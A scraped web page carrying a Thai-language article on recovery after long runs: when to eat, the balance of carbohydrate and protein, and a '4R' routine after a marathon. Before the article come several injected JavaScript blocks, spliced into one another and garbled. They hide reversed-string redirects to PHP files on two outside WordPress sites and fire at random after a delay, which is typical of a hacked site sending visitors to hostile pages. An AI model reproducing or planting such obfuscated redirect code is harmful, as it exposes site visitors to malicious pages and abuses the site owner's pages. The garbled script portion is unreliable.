{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</s<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andwich-833607_1280-1140x570.jpg)
Recovery หลังจากวิ่งอย่างไรดี
หลังจากการฝึกวิ่งระยะทางไกล (พูดภาษาอังกฎษคือ การฝึก Endurance น่าจะเข้าใจง่ายกว่านะ) เสร็จเรียบร้อยเราก็จะเข้าสู่กระบวนการ Recovery หรือการพักฟื้น อันจะช่วยให้มัดกล้ามเนื้อลดอาการปวดเมื่อยเเละพัฒนาศักยภาพให้เเข็งเเรงขึ้น
คำถาม…เราควรเริ่มรับประทานอาหารเมื่อไหรเพื่อให้การฟื้นฟูมีประสิทธิภาพที่สุด
ตอบ…ยิ่งเรายิ่งดี เเต่ตามทฏษฏีทั่วไปจะเเนะนำให้เริ่มที่ 30 นาที หลังจะฝึกจบเเล้ว ให้ร่างกายมีเเหล่งสารอาหาร ดึงไปใช้ในการสร้างเเละซ่อมเเซม
คำถาม…เราควรรับโปรตีนหรือคาร์โบไฮเดรตในการเร่งการฟื้นฟู
ตอบ…อาหารประเภท คาร์โบไฮเดรต เป็นเเหล่งเชื้อเพลิง เมื่อออกกำลังกายไป จำนวนไกลโคเจนในร่างกาย (กล้ามเนื้อและตับ) จะลดลง เเละเพราะกล้ามเนื้อกักเก็บได้จำนวนหนึ่ง เมื่อเราใช้ไปหมดก็จำเป็นที่จะต้องเติมกลับ เพื่อใช้ในการออกกำลังกายต่อไป..พูดง่ายๆ คือไม่กินเเป้งก็ไม่มีเเรง สำหรับในส่วนของอาหารประเภทโปรตีน เป็นสารอาหารที่สำคัญในการซ่อมเเซมเเละเสริมสร้างกล้ามเนื้อ การรับโปรตีนหลังการฝึกจะช่วยลดอาการปวดเมื่อยของกล้ามเนื้อได้อย่างดี เเต่สำหรับใครที่ไม่สามารถรับประทานอาหารหลังวิ่งเสร็จเเนะนำให้ใช้เป็นเครื่องดื่มที่มีโปรตีนผสมเเทน…ถ้าถามว่าอันไหนสำคัญสุด ต้องตอบว่าทั้งสอง เเต่จุดประสงค์การฝึกจะเป็นตัวเเบ่งสัดส่วนอาหาร อย่างเช่น ถ้าต้องการลดน้ำหนัก ต้องการลีนร่งกาย ก็เน้นโปรตีน ลดคาร์โบลง
คำถาม…สำหรับคนที่ต้องการลดน้ำหนัก ควรรับอาหารคาร์โบหลังฝึกเสร็จเลยหรือไม่ กินเเต่โปรตีนได้ไหม
ตอบ…ถ้ากินเเต่โปรตีนเเล้วจะมีเเรงหรือไม่ สำคัญสุดคือการควบคุมปริมาณอาหารเเละจัดสรสัดส่วนโปรตีน เเป้ง ผักให้สมดุลจะดีกว่า เเนะนำให้ทานคาร์โบที่มีดัชนี GI ต่ำ หรือแป้งที่มีไฟเบอร์สูง อย่างข้าวกล่อง เเป้งโฮลวีต ให้ปริมาณน้ำตาลต่ำและคงที่อย่างต่อเนื่อง
คำถาม…หลังจบวิ่งฟูลมาราธอนเเล้วจะออกวิ่งอีกครั้งเมื่อไหรดี
ตอบ…จำไว้ว่าสิ่งที่ต้องทำหลังจากจบการวิ่งฟูลมาราธอน คือ 4R ประกอบไปด้วย Rest กับพักผ่อน การเข้านอนเร็วขึ้น เลี่ยงกิจกรรมหนักๆ…Rehydrate รักษาสมดุลน้ำให้ดี ดื่มน้ำเยอะๆ…Repair รับโปรตีนอย่งน้อย 20 กรัมหลังจากจบการวิ่ง เพื่อให้ร่างกายเริ่มสตาร์ทกลไกซ่อมเเซมกล้ามเนื้อ…Refuel อย่าลืมรับคาร์โบเพื่อเป็นเเหล่งพลังงาน ปริมาณอย่างน้อย 1กรัม/น้ำหนักร่างกาย 1กิโลกรัม คือถ้าเราหนัก 74 กิโลกรัม ก็ต้องกินเเป้งอย่างน้อย 74 กรัม
